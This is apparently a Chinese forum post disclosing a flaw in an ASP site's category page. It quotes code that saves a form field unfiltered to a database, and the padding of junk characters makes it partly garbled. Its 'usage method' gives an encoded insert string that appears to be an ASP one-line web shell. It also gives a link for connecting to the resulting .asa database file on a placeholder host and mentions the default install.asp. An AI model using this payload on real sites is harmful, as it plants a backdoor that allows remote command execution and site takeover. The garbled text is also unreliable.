'Fenlei.asp
2 L3 B5 z( O& d: i6 ?1 w: y- C" ^+ B; ]
IF Request.QueryString("Action")="del" Then * p/ L* R! l; ]
ID=Request.QueryString("ID")
0 w8 N. ] u) _9 }+ KIF Countss ("tui","Fenlei",ID )<>0 then
) ^) @8 ?* d( m* J" f'略 : t. V b1 v+ i9 \
IF Request.QueryString("Action")="Add" Then
0 Q4 P0 L. \5 p, K+ X' I) ^& dTname=Request.Form("Typename")
$ }+ t$ x2 g, t& x8 cSet Rs=Server.CreateObject("adodb.Recordset")
; j5 {% [5 D$ {+ f( ~Sql="Select * From Fenlei Order by id Desc " ) j- v* `1 t1 m" @
Rs.Open Sql,Conn,1,3 + ?5 ?$ o' t0 _! v$ P
Rs.Addnew d* f4 b3 ?5 w$ ]: ~& M+ l7 c& y
Rs("Typename")=Tname 2 m5 f W* Z' F V0 A u! O
'略 7 N/ F H/ }2 \" Y
Set Rs=Server.CreateObject("adodb.Recordset")
/ Z8 l) \4 p2 pSql="Select * From Fenlei Order by id Desc "
9 U" s- b2 A4 i5 r$ D* H5 RRs.Open Sql,Conn,1,1 + U+ W1 f2 n' G- Y. [
'略
g" P8 F6 n: i( ~%>
0 Z* C; B7 y; W
% Y3 G' o$ P( d3 ]" \. U; I* P% }
, y. ~; a8 t$ o+ A- b: Z0 F" N
* Z( R7 a# e0 V3 j. g* S0 z4 x没有过滤,直接写入数据库。0 s7 B! C7 }) U$ _5 f$ u
$ f N* F. W3 W* t
利用方法:
& n" ^- T, J! a, x1 R
) D) }; W I/ x4 T# J4 d. j8 _3 f插入:┼攠數畣整爠煥敵瑳∨≡┩>/ t/ r) w3 |* E7 M, r
! S" y" m7 a6 M, [* Q
\ K% t2 s/ w. L+ q
连接: http://www.xxx.com/###tongbaner.asa * ]4 Q( z2 i) @ w. m0 w! u
'默认安装文件: , P z' _/ d( c
'install.asp
( R6 g) k; d2 _# R3 i* P2 I |